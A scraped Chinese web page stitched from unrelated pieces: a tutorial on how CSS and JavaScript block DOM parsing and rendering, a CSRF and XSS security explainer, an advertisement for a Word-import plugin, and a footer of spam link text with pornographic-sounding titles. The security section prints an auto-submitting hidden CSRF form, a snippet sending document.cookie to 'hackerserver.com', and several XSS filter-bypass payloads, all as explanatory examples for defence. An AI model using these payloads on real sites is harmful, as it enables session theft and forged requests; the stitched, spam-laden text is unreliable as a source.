整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          原來(lái) CSS 與 JS 是這樣阻塞 DOM 解析和渲染的

          計(jì)大家都聽(tīng)過(guò),盡量將CSS放頭部,JS放底部,這樣可以提高頁(yè)面的性能。然而,為什么呢?大家有考慮過(guò)么?很長(zhǎng)一段時(shí)間,我都是知其然而不知其所以然,強(qiáng)行背下來(lái)應(yīng)付考核當(dāng)然可以,但實(shí)際應(yīng)用中必然一塌糊涂。因此洗(wang)心(yang)革(bu)面(lao),小結(jié)一下最近玩出來(lái)的成果。

          node端唯一需要解釋一下的是這個(gè)函數(shù):

          function sleep(time) {
           return new Promise(function(res) {
           setTimeout(() => {
           res()
           }, time);
           })
          }
          

          嗯!其實(shí)就延時(shí)啦。如果CSS或者JS文件名有sleep3000之類的前綴時(shí),意思就是延遲3000毫秒才會(huì)返回這文件。

          下文使用的HTML文件是長(zhǎng)這樣的

          我會(huì)在其中插入不同的JS和CSS。

          而使用的common.css,不論有沒(méi)有前綴,內(nèi)容都是這樣的:

          div {
           background: lightblue;
          }
          

          好了,話不多數(shù),開(kāi)始正文!

          CSS

          關(guān)于CSS,大家肯定都知道的是<link>標(biāo)簽放在頭部性能會(huì)高一點(diǎn),少一點(diǎn)人知道如果<script>與<link>同時(shí)在頭部的話,<script>在上可能會(huì)更好。這是為什么呢?下面我們一起來(lái)看一下CSS對(duì)DOM的影響是什么。

          CSS 不會(huì)阻塞 DOM 的解析

          注意哦!這里說(shuō)的是DOM 解析,證明的例子如下,首先在頭部插入<script defer src="/js/logDiv.js"></script>,JS文件的內(nèi)容是:

          const div = document.querySelector('div');
          console.log(div);
          

          defer屬性相信大家也很熟悉了,MDN對(duì)此的描述是用來(lái)通知瀏覽器該腳本將在文檔完成解析后,觸發(fā) DOMContentLoaded 事件前執(zhí)行。設(shè)置這個(gè)屬性,能保證DOM解析后馬上打印出div。

          之后將<link rel="stylesheet" href="/css/sleep3000-common.css">插入HTML文件的任一位置,打開(kāi)瀏覽器,可以看到是首先打印出div這個(gè)DOM節(jié)點(diǎn),過(guò)3s左右之后才渲染出一個(gè)淺藍(lán)色的div。這就證明了CSS 是不會(huì)阻塞 DOM 的解析的,盡管CSS下載需要3s,但這個(gè)過(guò)程中,瀏覽器不會(huì)傻等著CSS下載完,而是會(huì)解析DOM的。

          這里簡(jiǎn)單說(shuō)一下,瀏覽器是解析DOM生成DOM Tree,結(jié)合CSS生成的CSS Tree,最終組成render tree,再渲染頁(yè)面。由此可見(jiàn),在此過(guò)程中CSS完全無(wú)法影響DOM Tree,因而無(wú)需阻塞DOM解析。然而,DOM Tree和CSS Tree會(huì)組合成render tree,那CSS會(huì)不會(huì)頁(yè)面阻塞渲染呢?

          CSS 阻塞頁(yè)面渲染

          其實(shí)這一點(diǎn),剛才的例子已經(jīng)說(shuō)明了,如果CSS 不會(huì)阻塞頁(yè)面阻塞渲染,那么CSS文件下載之前,瀏覽器就會(huì)渲染出一個(gè)淺綠色的div,之后再變成淺藍(lán)色。瀏覽器的這個(gè)策略其實(shí)很明智的,想象一下,如果沒(méi)有這個(gè)策略,頁(yè)面首先會(huì)呈現(xiàn)出一個(gè)原始的模樣,待CSS下載完之后又突然變了一個(gè)模樣。用戶體驗(yàn)可謂極差,而且渲染是有成本的。

          因此,基于性能與用戶體驗(yàn)的考慮,瀏覽器會(huì)盡量減少渲染的次數(shù),CSS順理成章地阻塞頁(yè)面渲染。

          然而,事情總有奇怪的,請(qǐng)看這例子,HTML頭部結(jié)構(gòu)如下:

          <header>
           <link rel="stylesheet" href="/css/sleep3000-common.css">
           <script src="/js/logDiv.js"></script>
          </header>
          

          但思考一下這會(huì)產(chǎn)生什么結(jié)果呢?

          答案是瀏覽器會(huì)轉(zhuǎn)圈圈三秒,但此過(guò)程中不會(huì)打印任何東西,之后呈現(xiàn)出一個(gè)淺藍(lán)色的div,再打印出null。結(jié)果好像是CSS不單阻塞了頁(yè)面渲染,還阻塞了DOM 的解析啊!稍等,在你打算掀桌子瘋狂吐槽我之前,請(qǐng)先思考一下是什么阻塞了DOM 的解析,剛才已經(jīng)證明了CSS是不會(huì)阻塞的,那么阻塞了頁(yè)面解析其實(shí)是JS!但明明JS的代碼如此簡(jiǎn)單,肯定不會(huì)阻塞這么久,那就是JS在等待CSS的下載,這是為什么呢?

          仔細(xì)思考一下,其實(shí)這樣做是有道理的,如果腳本的內(nèi)容是獲取元素的樣式,寬高等CSS控制的屬性,瀏覽器是需要計(jì)算的,也就是依賴于CSS。瀏覽器也無(wú)法感知腳本內(nèi)容到底是什么,為避免樣式獲取,因而只好等前面所有的樣式下載完后,再執(zhí)行JS。因而造成了之前例子的情況。

          所以,看官大人明白為何<script>與<link>同時(shí)在頭部的話,<script>在上可能會(huì)更好了么?之所以是可能,是因?yàn)槿绻?lt;link>的內(nèi)容下載更快的話,是沒(méi)影響的,但反過(guò)來(lái)的話,JS就要等待了,然而這些等待的時(shí)間是完全不必要的。

          JS

          JS,也就是<script>標(biāo)簽,估計(jì)大家都很熟悉了,不就是阻塞DOM解析和渲染么。然而,其中其實(shí)還是有一點(diǎn)細(xì)節(jié)可以考究一下的,我們一起來(lái)好好看看。

          JS 阻塞 DOM 解析

          首先我們需要一個(gè)新的JS文件名為blok.js,內(nèi)容如下:

          const arr = [];
          for (let i = 0; i < 10000000; i++) {
           arr.push(i);
           arr.splice(i % 3, i % 7, i % 5);
          }
          const div = document.querySelector('div');
          console.log(div);
          

          其實(shí)那個(gè)數(shù)組操作時(shí)沒(méi)意義的,只是為了讓這個(gè)JS文件多花執(zhí)行時(shí)間而已。之后把這個(gè)文件插入頭部,瀏覽器跑一下。

          結(jié)果估計(jì)大家也能想象得到,瀏覽器轉(zhuǎn)圈圈一會(huì),這過(guò)程中不會(huì)有任何東西出現(xiàn)。之后打印出null,再出現(xiàn)一個(gè)淺綠色的div。現(xiàn)象就足以說(shuō)明JS 阻塞 DOM 解析了。其實(shí)原因也很好理解,瀏覽器并不知道腳本的內(nèi)容是什么,如果先行解析下面的DOM,萬(wàn)一腳本內(nèi)全刪了后面的DOM,瀏覽器就白干活了。更別談喪心病狂的document.write。瀏覽器無(wú)法預(yù)估里面的內(nèi)容,那就干脆全部停住,等腳本執(zhí)行完再干活就好了。

          對(duì)此的優(yōu)化其實(shí)也很顯而易見(jiàn),具體分為兩類。如果JS文件體積太大,同時(shí)你確定沒(méi)必要阻塞DOM解析的話,不妨按需要加上defer或者async屬性,此時(shí)腳本下載的過(guò)程中是不會(huì)阻塞DOM解析的。

          而如果是文件執(zhí)行時(shí)間太長(zhǎng),不妨分拆一下代碼,不用立即執(zhí)行的代碼,可以使用一下以前的黑科技:setTimeout()。當(dāng)然,現(xiàn)代的瀏覽器很聰明,它會(huì)“偷看”之后的DOM內(nèi)容,碰到如<link>、<script>和<img>等標(biāo)簽時(shí),它會(huì)幫助我們先行下載里面的資源,不會(huì)傻等到解析到那里時(shí)才下載。

          瀏覽器遇到 <script> 標(biāo)簽時(shí),會(huì)觸發(fā)頁(yè)面渲染

          這個(gè)細(xì)節(jié)可能不少看官大人并不清楚,其實(shí)這才是解釋上面為何JS執(zhí)行會(huì)等待CSS下載的原因。先上例子,HTML內(nèi)body的結(jié)構(gòu)如下:

          <body>
          	<div></div>
          	<script src="/js/sleep3000-logDiv.js"></script>
          	<style>
          		div {
          			background: lightgrey;
          		}
          	</style>
          	<script src="/js/sleep5000-logDiv.js"></script>
          	<link rel="stylesheet" href="/css/common.css">
          </body>
          

          這個(gè)例子也是很極端的例子,但不妨礙它透露給我們很多重要的信息。想象一下,頁(yè)面會(huì)怎樣呢?

          答案是先淺綠色,再淺灰色,最后淺藍(lán)色。由此可見(jiàn),每次碰到<script>標(biāo)簽時(shí),瀏覽器都會(huì)渲染一次頁(yè)面。這是基于同樣的理由,瀏覽器不知道腳本的內(nèi)容,因而碰到腳本時(shí),只好先渲染頁(yè)面,確保腳本能獲取到最新的DOM元素信息,盡管腳本可能不需要這些信息。

          小結(jié)

          綜上所述,我們得出這樣的結(jié)論:

          • CSS 不會(huì)阻塞 DOM 的解析,但會(huì)阻塞 DOM 渲染。
          • JS 阻塞 DOM 解析,但瀏覽器會(huì)"偷看"DOM,預(yù)先下載相關(guān)資源。
          • 瀏覽器遇到 <script>且沒(méi)有defer或async屬性的 標(biāo)簽時(shí),會(huì)觸發(fā)頁(yè)面渲染,因而如果前面CSS資源尚未加載完畢時(shí),瀏覽器會(huì)等待它加載完畢在執(zhí)行腳本。

          所以,你現(xiàn)在明白為何<script>最好放底部,<link>最好放頭部,如果頭部同時(shí)有<script>與<link>的情況下,最好將<script>放在<link>上面了嗎?

          本周回顧

          前端要知道的網(wǎng)絡(luò)知識(shí)一:TCP/IP 協(xié)議到底在講什么

          前端要知道的網(wǎng)絡(luò)知識(shí)二:TCP協(xié)議的三次握手和四次分手

          前端要知道的網(wǎng)絡(luò)知識(shí)三:認(rèn)識(shí)OSI七層模型

          前端要知道的網(wǎng)絡(luò)知識(shí)四:TCP的概念和HTTP連接管理

          前端要知道的網(wǎng)絡(luò)知識(shí)五:詳細(xì)的介紹web緩存

          前端要知道的網(wǎng)絡(luò)知識(shí)六:詳細(xì)介紹URL及其用法

          前端要知道的網(wǎng)絡(luò)知識(shí)七:初識(shí)HTTP報(bào)文

          前端要知道的網(wǎng)絡(luò)知識(shí)八:GET 和 POST 到底有什么區(qū)別

          前端要知道的網(wǎng)絡(luò)知識(shí)九:初識(shí)HTTPS加密過(guò)程,原來(lái)如此

          前端要知道的網(wǎng)絡(luò)知識(shí)十:HTTPS加密核心RSA算法

          ....

          鏈接文章

          https://juejin.im/post/59c60691518825396f4f71a1

          https://github.com/ljf0113/how-js-and-css-block-dom

          https://github.com/stephentian/33-js-concepts?utm_source=gold_browser_extension

          、CSRF

          CSRF 全稱叫做,跨站請(qǐng)求偽造(Cross—Site Request Forgery),顧名思義,攻擊者盜用了你的身份,以你的名義發(fā)送惡意請(qǐng)求,對(duì)服務(wù)器來(lái)說(shuō)這個(gè)請(qǐng)求是完全合法的,但是卻完成了攻擊者所期望的一個(gè)操作,比如以你的名義發(fā)送郵件、發(fā)消息,盜取你的賬號(hào),添加系統(tǒng)管理員,甚至于購(gòu)買商品、虛擬貨幣轉(zhuǎn)賬等。對(duì)于服務(wù)器而言,判斷請(qǐng)求對(duì)象是否是你本身的方法限于提供身份認(rèn)證的cookie、秘鑰等,無(wú)法去識(shí)別個(gè)體。


          1.原理介紹及流程分析

          以下,舉例模擬一個(gè)被CSRF攻擊影響的例子:

          ①用戶C打開(kāi)瀏覽器,訪問(wèn)受信任網(wǎng)站A,輸入用戶名和密碼請(qǐng)求登錄網(wǎng)站A;

          ②在用戶信息通過(guò)驗(yàn)證后,網(wǎng)站A產(chǎn)生Cookie信息并返回給瀏覽器,此時(shí)用戶登錄網(wǎng)站A成功,可以正常發(fā)送請(qǐng)求到網(wǎng)站A;

          ③用戶未退出網(wǎng)站A之前,在同一瀏覽器中,打開(kāi)一個(gè)TAB頁(yè)訪問(wèn)網(wǎng)站B;

          ④網(wǎng)站B接收到用戶請(qǐng)求后,返回一些攻擊性代碼,并發(fā)出一個(gè)請(qǐng)求要求訪問(wèn)第三方站點(diǎn)A;

          ⑤瀏覽器在接收到這些攻擊性代碼后,根據(jù)網(wǎng)站B的請(qǐng)求,在用戶不知情的情況下攜帶Cookie信息,向網(wǎng)站A發(fā)出請(qǐng)求。網(wǎng)站A并不知道該請(qǐng)求其實(shí)是由B發(fā)起的,所以會(huì)根據(jù)用戶C的Cookie信息以C的權(quán)限處理該請(qǐng)求,導(dǎo)致來(lái)自網(wǎng)站B的惡意代碼被執(zhí)行。

          更為具體的舉例,偽造請(qǐng)求的方式一般有如下幾種方式:

          // 頁(yè)面中有一個(gè)超鏈接,誘導(dǎo)用戶進(jìn)行點(diǎn)擊
          
          <a href="https://aaa.com?userid=3&money=9999">誘導(dǎo)信息</a>
          
          // 直接在頁(yè)面上使用Img進(jìn)行g(shù)et請(qǐng)求
          
          <img src="https://aaa.com?userid=3&money=9999"/>
          
          // 或使用表單進(jìn)行提交
          
          <iframe name="heihei" style="display:none;"></iframe>
          
          <form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
          
          <input name="userid" value="3" type="hidden" />
          
          <input name="money" value="9999" type="hidden" />
          
          </form>
          
          <script>
          window.onload = function(){
            document.forms[0].submit();
          }
          </script>


          2.CSRF漏洞檢測(cè)

          檢測(cè)CSRF漏洞是一項(xiàng)比較繁瑣的工作,最簡(jiǎn)單的方法就是抓取一個(gè)正常請(qǐng)求的數(shù)據(jù)包,去掉Referer字段后再重新提交,如果該提交還有效,那么基本上可以確定存在CSRF漏洞。

          當(dāng)然我們也可以試著利用根據(jù)來(lái)進(jìn)行漏洞檢測(cè),隨著對(duì)CSRF漏洞研究的不斷深入,不斷涌現(xiàn)出一些專門針對(duì)CSRF漏洞進(jìn)行檢測(cè)的工具,如CSRFTester,CSRF Request Builder等。

          以CSRFTester工具為例,CSRF漏洞檢測(cè)工具的測(cè)試原理如下:使用CSRFTester進(jìn)行測(cè)試時(shí),首先需要抓取我們?cè)跒g覽器中訪問(wèn)過(guò)的所有鏈接以及所有的表單等信息,然后通過(guò)在CSRFTester中修改相應(yīng)的表單等信息,重新提交,這相當(dāng)于一次偽造客戶端請(qǐng)求。如果修改后的測(cè)試請(qǐng)求成功被網(wǎng)站服務(wù)器接受,則說(shuō)明存在CSRF漏洞,當(dāng)然此款工具也可以被用來(lái)進(jìn)行CSRF攻擊。


          3.CSRF防御原理

          根據(jù)以上的方式我們能顯而易見(jiàn)看到,問(wèn)題就出在“訪問(wèn)網(wǎng)站B”和“攜帶Cookie信息”上。針對(duì)CRSF攻擊,CSRF防護(hù)的一個(gè)重點(diǎn)是要對(duì)“用戶憑證”進(jìn)行校驗(yàn)處理,通過(guò)這種機(jī)制可以對(duì)用戶的請(qǐng)求是合法進(jìn)行判斷,判斷是不是跨站攻擊的行為。因?yàn)椤坝脩魬{證”是Cookie中存儲(chǔ)的,所以防護(hù)機(jī)制的處理對(duì)像也是Cookie的數(shù)據(jù),我們要在防護(hù)的數(shù)據(jù)中加入簽名校驗(yàn),并對(duì)數(shù)據(jù)進(jìn)行生命周期時(shí)間管理,就是數(shù)據(jù)過(guò)期管理。

          由此得出,CSRF防護(hù)的一個(gè)重點(diǎn)是要對(duì)“用戶憑證”進(jìn)行校驗(yàn)處理,通過(guò)這種機(jī)制可以對(duì)用戶的請(qǐng)求是合法進(jìn)行判斷,判斷是不是跨站攻擊的行為。因?yàn)椤坝脩魬{證”是Cookie中存儲(chǔ)的,所以防護(hù)機(jī)制的處理對(duì)像也是Cookie的數(shù)據(jù),我們要在防護(hù)的數(shù)據(jù)中加入簽名校驗(yàn),并對(duì)數(shù)據(jù)進(jìn)行生命周期時(shí)間管理,就是數(shù)據(jù)過(guò)期管理。


          ①防御思路

          針對(duì)防止CSRF的發(fā)生,創(chuàng)建Token處理機(jī)制,Token數(shù)據(jù)結(jié)構(gòu)與時(shí)間、加密簽名直接相關(guān), 這么設(shè)計(jì)的的目的如上所說(shuō),是給“身份憑證”加上時(shí)間生存周期管理和簽名校驗(yàn)管理,如果的憑證被人拿到了, 要先判斷Token中的“簽名”與時(shí)間戳是否都有效,再進(jìn)行正常的業(yè)務(wù)處理, 這樣通過(guò)對(duì)非法數(shù)據(jù)的校驗(yàn)過(guò)濾,來(lái)降低CSRF攻擊的成功率。


          ②簽名與時(shí)間戳防護(hù)處理流程

          在token中加入上述方法中所描述的時(shí)間戳信息和簽名信息:

          -----------------------------------------------------------------------------
          |             msg                 |     separator   | signature           |
          -----------------------------------------------------------------------------
          |     key     |   timestamp       |         .       | Base64(sha256(msg)) |
          -----------------------------------------------------------------------------
          • msg部分: key即隨機(jī)生成的字符串用作用戶憑證認(rèn)證+timestamp時(shí)間戳驗(yàn)證時(shí)間用
          • separator部分:用于分隔msg部分與加密后生成的signature簽名部分
          • signature部分:signature即簽名,是對(duì)“msg消息”用特定算法進(jìn)行加密后的串。
          token = base64(msg)格式化..base64(sha256("密鎖", msg))

          整個(gè)Token就是由被Base64的msg編碼串+先256加密msg再進(jìn)行Base64編碼,兩個(gè)串的內(nèi)容結(jié)合。


          ③Token校驗(yàn)

          在整個(gè)防御做法中,對(duì)于token的校驗(yàn)流程為:

          • 在服務(wù)器端對(duì)接收到的token進(jìn)行分片,以分隔符進(jìn)行分割,獲取信息內(nèi)容和簽名
          • 對(duì)于簽名驗(yàn)證,對(duì)信息進(jìn)行解碼,如果通過(guò)則進(jìn)入時(shí)間校驗(yàn)
          • 如果簽名有效的,取出msg中的timestamp字段數(shù)據(jù),與當(dāng)前系統(tǒng)時(shí)間進(jìn)行比較,如果過(guò)期時(shí)間小于當(dāng)前時(shí)間,那這個(gè)token是過(guò)期的,需要重新的取得token。


          二、XSS

          XSS(跨站腳本攻擊,Cross-site scripting,簡(jiǎn)稱并不是 CSS,因?yàn)?CSS是 層疊樣式表)是一種常見(jiàn)的 web 安全問(wèn)題。XSS 攻擊手段是允許惡意web用戶將代碼植入到提供給其它用戶使用的頁(yè)面中。從而達(dá)到攻擊的目的。如,盜取用戶Cookie、破壞頁(yè)面結(jié)構(gòu)、重定向到其它網(wǎng)站等。


          1.XSS攻擊類型區(qū)分

          ① 反射型

          反射型 XSS攻擊 通常是簡(jiǎn)單地把用戶輸入的數(shù)據(jù)“反射”給瀏覽器。黑客一般會(huì)誘使用戶點(diǎn)擊一個(gè)有惡意的鏈接,用戶點(diǎn)擊就會(huì)發(fā)起 XSS 攻擊。反射型 XSS 攻擊可以將 JavaScript 腳本插入到 HTML 節(jié)點(diǎn)中、HTML 屬性中以及通過(guò) JS 注入到 URL 或 HTML 文檔中。


          ② 儲(chǔ)存型

          存儲(chǔ)型 XSS攻擊 這種攻擊會(huì)把用戶輸入的數(shù)據(jù)存儲(chǔ)到服務(wù)器中。例如在一個(gè)有 XSS 漏洞的博客網(wǎng)站,黑客寫下一篇含有惡意 JavaScript 代碼的文章,文章發(fā)布后,所有看了這篇博文的用戶都會(huì)在他們的瀏覽器中執(zhí)行惡意 JavaScript 代碼。


          ③ DOM-based 型

          注意: 這種類型的劃分與以上兩種類型劃分方式不同,是按照Payload的位置劃分

          DOM-based 型XSS攻擊 基于 DOM 的 XSS 攻擊是指通過(guò)惡意腳本修改頁(yè)面的 DOM 結(jié)構(gòu),是純粹發(fā)生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞。

          發(fā)起 XSS 攻擊后,黑客寫入的 JavaScript 代碼就會(huì)執(zhí)行,通過(guò)腳本可以控制用戶的瀏覽器。一個(gè)常見(jiàn)的攻擊手段是“Cookie 劫持”,cookie 中一般加密保存著當(dāng)前用戶的登錄憑據(jù),黑客可以通過(guò)惡意代碼將用戶的 cookie 發(fā)到自己的服務(wù)器上,然后就可以做到無(wú)密碼登錄上用戶的賬戶。


          2.實(shí)現(xiàn)XSS攻擊的條件

          ①需要向web頁(yè)面注入惡意代碼;

          ②這些惡意代碼能夠被瀏覽器成功的執(zhí)行。


          3.會(huì)利用XSS攻擊獲取什么?

          ①竊取cookies,讀取目標(biāo)網(wǎng)站的cookie發(fā)送到黑客的服務(wù)器上,如下面的代碼:

          var i=document.createElement("img");
          document.body.appendChild(i);
          i.src = "http://www.hackerserver.com/?c=" + document.cookie;

          在此提到來(lái)自瀏覽器的自帶防御,瀏覽器針對(duì)于這類問(wèn)題的存在,對(duì)于DOM對(duì)象的訪問(wèn)會(huì)有自己的禁用方式,避免最基本的XSS注入。例如在舊版的IE8和IE8以下的版本都是可以被執(zhí)行的,火狐也能執(zhí)行代碼,但火狐對(duì)其禁止訪問(wèn)DOM對(duì)象,所以在火狐下執(zhí)行將會(huì)看到控制里拋出異常:document is not defined

          ②讀取用戶未公開(kāi)的資料,如果:郵件列表或者內(nèi)容、系統(tǒng)的客戶資料,聯(lián)系人列表等等,如代碼

          ③篡改網(wǎng)頁(yè),進(jìn)行釣魚(yú)或者惡意傳播

          ④網(wǎng)站重定向


          4.XSS的防御

          ①具體舉例: 注入轉(zhuǎn)義

          對(duì)于URL做解析時(shí)和發(fā)起get請(qǐng)求時(shí)都會(huì)需要讀取URL攜帶的參數(shù),如果將 url 中的參數(shù)直接插入到 DOM 中,這就有可能構(gòu)成 XSS 攻擊,攻擊者利用這一漏洞,給其他用戶發(fā)送一個(gè)有惡意的鏈接,用戶就有可能中招。 如:

          http://www.example/test.index?param=<script>alert('XSS')</script>

          這個(gè) URL 的 param 參數(shù)值并不是合理的,而是攻擊者構(gòu)建的。

          再如: 一個(gè)超鏈接中的URL

          <a href='http://www.xss.com?cookie='+document.cookie>

          上述方式可以通過(guò)點(diǎn)擊鏈接的方式注入XSS,去獲取當(dāng)前用戶的Cookie。


          ②防御方式

          • 當(dāng)惡意代碼值被作為某一標(biāo)簽的內(nèi)容顯示:在不需要html輸入的地方對(duì)html 標(biāo)簽及一些特殊字符( ” < > & 等等 )做過(guò)濾,將其轉(zhuǎn)化為不被瀏覽器解釋執(zhí)行的字符。
          • 當(dāng)惡意代碼被作為某一標(biāo)簽的屬性顯示,通過(guò)用 “將屬性截?cái)鄟?lái)開(kāi)辟新的屬性或惡意方法:屬性本身存在的 單引號(hào)和雙引號(hào)都需要進(jìn)行轉(zhuǎn)碼;對(duì)用戶輸入的html 標(biāo)簽及標(biāo)簽屬性做白名單過(guò)濾,也可以對(duì)一些存在漏洞的標(biāo)簽和屬性進(jìn)行專門過(guò)濾。


          ③常見(jiàn)的xss攻擊方法

          • 繞過(guò)XSS-Filter,利用<>標(biāo)簽注入Html/JavaScript代碼;
          • 利用HTML標(biāo)簽的屬性值進(jìn)行xss攻擊。例如:
          <img src=“javascript:alert(‘xss’)”/>

          (當(dāng)然并不是所有的Web瀏覽器都支持Javascript偽協(xié)議,所以此類XSS攻擊具有一定的局限性)

          • 空格、回車和Tab。如果XSS Filter僅僅將敏感的輸入字符列入黑名單,比如javascript,用戶可以利用空格、回車和Tab鍵來(lái)繞過(guò)過(guò)濾,例如:
          <img src=“javas  cript:alert(/xss/);”/>
          • 利用事件來(lái)執(zhí)行跨站腳本。例如:
          <img src=“#” onerror= “alert(1)”/>

          當(dāng)src錯(cuò)誤的視乎就會(huì)執(zhí)行onerror事件

          • 利用CSS跨站。例如:
          Body {backgrund-image: url(“javascript:alert(‘xss’)”)}
          • 擾亂過(guò)濾規(guī)則。例如:
          <IMG SRC=“javaSCript: alert(/xss/);”/>
          • 利用字符編碼,透過(guò)這種技巧,不僅能讓XSS代碼繞過(guò)服務(wù)端的過(guò)濾,還能更好地隱藏Shellcode;(JS支持unicode、eacapes、十六進(jìn)制、十進(jìn)制等編碼形式)
          • 拆分跨站法,將xss攻擊的代碼拆分開(kāi)來(lái),適用于應(yīng)用程序沒(méi)有過(guò)濾 XSS關(guān)鍵字符(如<、>)卻對(duì)輸入字符長(zhǎng)度有限制的情況下;
          • DOM型的XSS主要是由客戶端的腳本通過(guò)DOM動(dòng)態(tài)地輸出數(shù)據(jù)到頁(yè)面上,它不依賴于提交數(shù)據(jù)到服務(wù)器,而是從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行。容易導(dǎo)致DOM型的XSS的輸入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;


          5.XSS攻擊防御

          原則:不相信客戶輸入的數(shù)據(jù)

          注意:攻擊代碼不一定在<script></script>中

          • 使用XSS Filter

          輸入過(guò)濾,對(duì)用戶提交的數(shù)據(jù)進(jìn)行有效性驗(yàn)證,僅接受指定長(zhǎng)度范圍內(nèi)并符合我們期望格式的的內(nèi)容提交,阻止或者忽略除此外的其他任何數(shù)據(jù)。比如:電話號(hào)碼必須是數(shù)字和中劃線組成,而且要設(shè)定長(zhǎng)度上限。過(guò)濾一些些常見(jiàn)的敏感字符,例如:< > ‘ “ & # \ javascript expression "onclick=" "onfocus";過(guò)濾或移除特殊的Html標(biāo)簽, 例如: <script>, <iframe> , < for <, > for >, " for;過(guò)濾JavaScript 事件的標(biāo)簽,例如 "onclick=", "onfocus" 等等。

            輸出編碼,當(dāng)需要將一個(gè)字符串輸出到Web網(wǎng)頁(yè)時(shí),同時(shí)又不確定這個(gè)字符串中是否包括XSS特殊字符(如< > &‘”等),為了確保輸出內(nèi)容的完整性和正確性,可以使用編碼(HTMLEncode)進(jìn)行處理。

          • DOM型的XSS攻擊防御

          把變量輸出到頁(yè)面時(shí)要做好相關(guān)的編碼轉(zhuǎn)義工作,如要輸出到 <script>中,可以進(jìn)行JS編碼;要輸出到HTML內(nèi)容或?qū)傩裕瑒t進(jìn)行HTML編碼處理。根據(jù)不同的語(yǔ)境采用不同的編碼處理方式。

          • HttpOnly Cookie

          將重要的cookie標(biāo)記為http only, 這樣的話當(dāng)瀏覽器向Web服務(wù)器發(fā)起請(qǐng)求的時(shí)就會(huì)帶上cookie字段,但是在腳本中卻不能訪問(wèn)這個(gè)cookie,這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:


          原文:https://juejin.cn/post/6874730741989801997

          AVA中將WORD轉(zhuǎn)換為HTML導(dǎo)入到WANGEDITOR編輯器中(解決圖片問(wèn)題,樣式,非常完美),wangEditor如何導(dǎo)入word文檔,如何實(shí)現(xiàn)導(dǎo)入WORD文檔到WANGEDITOR編輯器中?WANGEDITOR導(dǎo)入WORD文檔 WANGEDITOR WORD導(dǎo)入插件,HTML富文本編輯器導(dǎo)入WORD,Web富文本編輯器導(dǎo)入WORD,WANGEDITOR富文本編輯器導(dǎo)入WORD,WANGEDITOR導(dǎo)入WORD,WANGEDITORWORD導(dǎo)入編輯,wangEditor集成word導(dǎo)入功能,

          后端是用的JAVA,SpringBoot框架,實(shí)際上前端在集成的時(shí)候是不關(guān)心后端具體是用什么語(yǔ)言實(shí)現(xiàn)的。

          它這個(gè)版本有幾個(gè)wangEditor3,wangEditor4,wangEditor5,好用的是就3和4,5不支持插入HTML。但是用戶用插入HTML這個(gè)功能用的比較多。

          vue-cli-wangEditor3,vue3-cli-wangEditor4集成word導(dǎo)入功能。在VUE框架下面集成了WORD導(dǎo)入功能。

          用戶選擇word文件后,自動(dòng)轉(zhuǎn)換成html,自動(dòng)將word里面的圖片上傳到服務(wù)器中,自動(dòng)將HTML添加到編輯器中。

          主要的方案就是提供一個(gè)轉(zhuǎn)換接口,轉(zhuǎn)換接口使用RESTful協(xié)議,這樣的話兼容性更好一點(diǎn),其它的平臺(tái)用起來(lái)的話更方便簡(jiǎn)單一點(diǎn),而且測(cè)試起來(lái)也方便。

          現(xiàn)有項(xiàng)目需要為TinyMCE增加導(dǎo)入word文件的功能,導(dǎo)入后word文件里面的圖片自動(dòng)上傳到服務(wù)器中,返回圖片和文字HTML,word里面的文本樣式保留

          用戶一般在發(fā)新聞和發(fā)文章時(shí)用到,算是一個(gè)高頻使用功能,用戶體驗(yàn)上來(lái)講確實(shí)是很好,和以前的發(fā)新聞或者發(fā)文章的體驗(yàn)比起來(lái)要方便許多,用戶用的更爽。

          1.下載示例

          https://gitee.com/xproer/zyoffice-vue3-cli-wang-editor4

          2.引入組件

          3.添加按鈕

          4.配置轉(zhuǎn)換接口

          效果

          開(kāi)發(fā)文檔:https://drive.weixin.qq.com/s?k=ACoAYgezAAwsDazDKJ

          產(chǎn)品比較:https://drive.weixin.qq.com/s?k=ACoAYgezAAwh8oq8Zf

          產(chǎn)品源代碼:https://drive.weixin.qq.com/s?k=ACoAYgezAAwjJM8412

          報(bào)價(jià)單:https://drive.weixin.qq.com/s?k=ACoAYgezAAwsfyDdrf


          主站蜘蛛池模板: 国产伦理一区二区三区| 无码国产精品一区二区免费式影视| 成人在线观看一区| 亚洲色精品VR一区区三区| 日韩精品无码免费一区二区三区| 中文字幕一区日韩在线视频| 国产人妖视频一区二区 | 亚洲av无一区二区三区| 在线电影一区二区三区| 久久99精品免费一区二区| 国产AV午夜精品一区二区入口| 国产精品久久一区二区三区| 春暖花开亚洲性无区一区二区| 中文字幕一区二区日产乱码| 亚欧在线精品免费观看一区 | 亚洲国产激情一区二区三区| 无码精品人妻一区二区三区人妻斩 | 好吊妞视频一区二区| 久久精品无码一区二区三区日韩 | 国产一区二区三区播放心情潘金莲 | 精品福利一区二区三区| 麻豆aⅴ精品无码一区二区| 无码一区二区三区中文字幕| 插我一区二区在线观看| 国产日韩一区二区三区| 狠狠色婷婷久久一区二区三区| 精品亚洲AV无码一区二区三区| 日韩精品一区二三区中文| 人妻体内射精一区二区三四| 北岛玲在线一区二区| 亚洲va乱码一区二区三区| 久久se精品一区二区影院| 亚洲AV成人精品一区二区三区| 久久亚洲中文字幕精品一区| 久久精品日韩一区国产二区| 日韩免费观看一区| 亚洲片国产一区一级在线观看 | 久久久久人妻精品一区三寸| 久久亚洲AV午夜福利精品一区| 精品视频一区二区观看| 国产精品一区二区久久精品涩爱|